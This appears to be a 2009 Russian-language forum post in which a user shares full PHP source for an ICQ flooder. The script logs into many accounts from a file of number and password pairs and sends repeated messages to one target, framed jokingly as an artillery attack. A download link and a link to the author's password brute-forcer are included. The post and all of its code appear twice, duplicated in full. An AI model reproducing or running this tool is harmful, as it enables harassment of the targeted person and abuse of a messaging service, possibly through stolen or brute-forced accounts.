Zedi
22.02.2009, 11:56
Привет всем!!
Вчера от нечего делать написал флудер, даже не думал он будет такой мощный, все зависит от кол-ва асек
Механизм работы:
скрипт сначала заходит на все аськи из списка а потом резко начинает флудить
высказывайте свои предложения по скрипту, это только его первая версия, так что все впереди))
вот собственно сам скрипт (написан с юмором)
flooder.php
<?php
set_time_limit(0);
ignore_user_abort(1);
echo '<html> <head><title>Артиллерийское депо (ICQ Flooder)</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
require_once ("icqlib.php");
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$num = $_POST['uin'];
$mn = $_POST['mn'];
$message = $_POST['message'];
$source = "flooder.txt";
$file_s = file($source);
$count = count($file_s);
$i = 1;
$connected = array();
echo "Заряжаем пушки<br>";
flush();
foreach ($file_s as $str)
{
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$debug = false;
$icq{$i} = new ICQclient($uin, $password);
$icq{$i}->connect();
if ($icq{$i}->connected)
{
$icq{$i}->login();
if ($icq{$i}->logged)
{
$put = array_push($connected, $i);
}
}
$i++;
}
echo "Пушки заряжены<br>Начинаем атаку<br>";
flush();
foreach ($connected as $z)
{
for ($n = 0; $n < $mn; $n++)
{
$icq{$z}->send_message($num, $message);
}
echo "Пушка №" . $z . " успешно выстрелила<br>";
flush();
}
foreach ($connected as $z)
{
$icq{$z}->disconnect();
}
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>ICQ</td><td><input type='text' name='uin' size='20'></td></tr>
<tr><td width='150'>Кол-во сообщений с одного номера</td><td><input name='mn' type='text' value='1' size='20'></td></tr>
<tr><td width='150'>Сообщение</td><td><textarea rows='3' cols='17' name='message'></textarea></td></tr>
<tr><td width='150'>Начать флуд</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";
?>
icqlib.php
<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;
function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}
function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}
function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}
function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}
function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}
function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}
function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}
function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}
function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}
function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
return $SNAC;
}
function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}
function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}
function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}
function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}
function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
?>
и создайте файл flooder.txt с аськами
ну или всее сразу можно скачать отсюда _http://slil.ru/26973485
P.S. все зависит от количества асек, все ошибки которые заметите пишите здесь или в ПМ
P.P.S вот _http://slil.ru/26984265 еще брут от меня, м.б. кому пригодится
Вчера от нечего делать написал флудер, даже не думал он будет такой мощный, все зависит от кол-ва асек
Механизм работы:
скрипт сначала заходит на все аськи из списка а потом резко начинает флудить
высказывайте свои предложения по скрипту, это только его первая версия, так что все впереди))
вот собственно сам скрипт (написан с юмором)
flooder.php
<?php
set_time_limit(0);
ignore_user_abort(1);
echo '<html> <head><title>Артиллерийское депо (ICQ Flooder)</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><style type="text/css"> a:link {color: #9a9a9a; text-decoration: none;} a:active {color: #9a9a9a; text-decoration: none;} a:visited {color: #9a9a9a; text-decoration: none;} a:hover {color: #000000; text-decoration: none;}input, textarea, select{background-color: #ffffff;border:#000000 1pt solid;color: #000000;font-size: 9px;margin: 0px;padding-bottom: 1px;padding-left: 2px;padding-right: 0px;padding-top: 0px;font-family: Verdana, arial, Helvetica;line-height: 9pt;}body, table{font-family: Verdana, arial, Helvetica; color: #000000;font-size: 11px;}</style></head><body bgcolor="#f0f0f0">';
require_once ("icqlib.php");
if (isset($_POST['submit']))
{
foreach ($_POST as $post_date_key => $post_date)
{
if (empty($post_date))
{
die("Вы не заполнили поля");
}
}
$num = $_POST['uin'];
$mn = $_POST['mn'];
$message = $_POST['message'];
$source = "flooder.txt";
$file_s = file($source);
$count = count($file_s);
$i = 1;
$connected = array();
echo "Заряжаем пушки<br>";
flush();
foreach ($file_s as $str)
{
list($uin, $password) = explode(";", $str);
$uin = trim($uin);
$password = trim($password);
$debug = false;
$icq{$i} = new ICQclient($uin, $password);
$icq{$i}->connect();
if ($icq{$i}->connected)
{
$icq{$i}->login();
if ($icq{$i}->logged)
{
$put = array_push($connected, $i);
}
}
$i++;
}
echo "Пушки заряжены<br>Начинаем атаку<br>";
flush();
foreach ($connected as $z)
{
for ($n = 0; $n < $mn; $n++)
{
$icq{$z}->send_message($num, $message);
}
echo "Пушка №" . $z . " успешно выстрелила<br>";
flush();
}
foreach ($connected as $z)
{
$icq{$z}->disconnect();
}
} else
{
echo "<form method='POST' name='submit'><table border=0>
<tr><td width='150'>ICQ</td><td><input type='text' name='uin' size='20'></td></tr>
<tr><td width='150'>Кол-во сообщений с одного номера</td><td><input name='mn' type='text' value='1' size='20'></td></tr>
<tr><td width='150'>Сообщение</td><td><textarea rows='3' cols='17' name='message'></textarea></td></tr>
<tr><td width='150'>Начать флуд</td><td><input type='submit' name='submit' value='Пуск'> </td></tr>
</table></form>";
}
echo "Разработка:Zedi v.0.1</body></html><noscript>";
?>
icqlib.php
<?
class ICQclient
{
var $socket, $server, $port, $connected;
var $uin, $password, $logged;
var $client = array(), $sequence, $TLV = array();
var $uin_sendto, $message;
function ICQclient($uin, $password)
{
$this->server = "login.icq.com";
$this->port = 5190;
$this->uin = (string )$uin;
$this->password = $password;
$this->client = array("name" => "icqlib.php", "country" => "ru", "language" =>
"ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
}
function connect()
{
$this->socket = @fsockopen($this->server, $this->port);
if (!$this->socket)
return false;
else
{
$this->connected = true;
return true;
}
}
function connect_migration()
{
list($server, $port) = explode(":", $this->TLV[0x05]);
$this->socket = @fsockopen($server, $port);
}
function login()
{
if (!$this->connected)
$this->connect();
if (!$this->connected)
return false;
$this->receive_packet();
$this->sequence = rand(0x0000, 0xFFFF);
$this->send_packet("login");
$SNAC = $this->receive_packet();
$this->parse_SNAC($SNAC);
if (!(@$this->TLV[0x05] and @$this->TLV[0x06]))
return false;
$this->connect_migration();
$this->send_packet("cookie");
$this->receive_packet();
$this->send_packet("ready");
$this->receive_packet();
$this->logged = true;
return true;
}
function send_message($uin, $message)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->message = $message;
$this->send_packet("message");
$this->receive_packet();
return true;
}
function getstatus($uin)
{
if (!$this->logged)
return false;
$this->uin_sendto = $uin;
$this->send_packet("userinfo");
$SNAC = $this->receive_packet();
list(, $subfamily) = unpack("C", $SNAC[3]);
if ($subfamily == 6)
{
list(, $uin_length) = unpack("C", $SNAC[10]);
$this->parse_SNAC(substr($SNAC, 15 + $uin_length));
if ($this->TLV[6])
list(, $status_code) = unpack("C", $this->TLV[6][3]);
else
$status_code = 0xFF;
switch ($status_code)
{
case 0x00:
$status = "online";
break;
case 0x01:
$status = "away";
break;
case 0x02:
$status = "dnd";
break;
case 0x03:
$status = "dnd";
break;
case 0x04:
$status = "na";
break;
case 0x05:
$status = "na";
break;
case 0x10:
$status = "occupied";
break;
case 0x11:
$status = "occupied";
break;
case 0x13:
$status = "dnd";
break;
case 0x20:
$status = "free4chat";
break;
default:
$status = "undefined";
break;
}
} else
$status = "offline";
return $status;
}
function disconnect()
{
$this->connected = $this->logged = false;
return @fclose($this->socket);
}
function log_packet($packet, $type = "packet")
{
global $debug_log;
$debug_log .= "<p>$type:<br>";
for ($i = 0; $i < strlen($packet); $i++)
{
if (strlen(strtoupper(dechex(ord($packet[$i])))) == 1)
$debug_log .= "0";
$debug_log .= strtoupper(dechex(ord($packet[$i]))) . " ";
}
$debug_log .= "</p>";
}
function send_packet($type)
{
global $debug;
list($channel, $SNAC) = $this->gen_SNAC($type);
$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "send");
@fwrite($this->socket, $packet);
$this->sequence++;
if ($this->sequence == 0xFFFF)
$this->sequence = 0x0000;
}
function receive_packet()
{
global $debug;
$FLAP = @fread($this->socket, 6);
list(, $length) = @unpack("n", substr($FLAP, 4, 2));
$SNAC = @fread($this->socket, $length);
$packet = $FLAP . $SNAC;
if ($debug)
$this->log_packet($packet, "receive");
return $SNAC;
}
function gen_SNAC($type)
{
if ($type == "login")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x01, $this->uin) . $this->gen_TLV(0x02,
xor_encrypt($this->password)) . $this->gen_TLV(0x03, $this->client["name"]) . $this->
gen_TLV(0x16, 266, 2) . $this->gen_TLV(0x17, $this->client["major"], 2) . $this->
gen_TLV(0x18, $this->client["minor"], 2) . $this->gen_TLV(0x19, $this->client["lesser"],
2) . $this->gen_TLV(0x1A, $this->client["build"], 2) . $this->gen_TLV(0x14, 85,
4) . $this->gen_TLV(0x0F, $this->client["language"]) . $this->gen_TLV(0x0E, $this->
client["country"]);
$channel = 1;
}
if ($type == "cookie")
{
$SNAC = pack("N", 1) . $this->gen_TLV(0x06, $this->TLV[0x06]);
$channel = 1;
}
if ($type == "ready")
{ // SNAC(01,02) - CLI_READY
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x 00\x03\x01\x10" . "\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x 00\x01\x01\x10" .
"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x 00\x01\x01\x10" . "\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x 00\x01\x01\x10" .
"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
$channel = 2;
}
if ($type == "message")
{ // SNAC(04,06) channel 1 - CLI_SEND_ICBM_CH1
$this->TLV[0x0501] = pack("C", 1);
$this->TLV[0x0101] = pack("N", 0) . $this->message;
$this->TLV[0x02] = $this->gen_TLV(0x0501, $this->TLV[0x0501]) . $this->gen_TLV(0x0101,
$this->TLV[0x0101]);
$SNAC = pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->
uin_sendto), $this->uin_sendto) . $this->gen_TLV(0x02, $this->TLV[0x02]) . $this->
gen_TLV(0x06, "");
$channel = 2;
}
if ($type == "userinfo")
{ // SNAC(02,05) - CLI_LOCATION_INFO_REQ
$SNAC = pack("nnnNnca*", 0x02, 0x05, 0, 0, 1, strlen($this->uin_sendto), $this->
uin_sendto);
$channel = 2;
}
return array($channel, $SNAC);
}
function parse_SNAC($SNAC)
{
unset($this->TLV);
while (strlen($SNAC) > 0)
{
list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
$this->TLV[$type] = substr($SNAC, 4, $length);
$SNAC = substr($SNAC, 4 + $length);
}
}
function gen_TLV($type, $value, $length = false)
{
switch ($length)
{
case 1:
$format = "C";
break; // unsigned char (8 bit)
case 2:
$format = "n";
break; // unsigned short (16 bit, big endian byte order)
case 4:
$format = "N";
break; // unsigned long (32 bit, big endian byte order)
default:
$format = "a*";
break; // NUL-padded string
}
if ($length === false)
$length = strlen($value);
return pack("nn" . $format, $type, $length, $value);
}
}
function xor_encrypt($password)
{
$roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x 53\x7a\x95\x7c";
$xored = "";
for ($i = 0; $i < strlen($password); $i++)
$xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
return $xored;
}
function put($data, $file)
{
global $go;
$f = fopen($file, "a") or die("File " . $file . " doesn't exist");
fwrite($f, $data);
fclose($f);
$go++;
}
?>
и создайте файл flooder.txt с аськами
ну или всее сразу можно скачать отсюда _http://slil.ru/26973485
P.S. все зависит от количества асек, все ошибки которые заметите пишите здесь или в ПМ
P.P.S вот _http://slil.ru/26984265 еще брут от меня, м.б. кому пригодится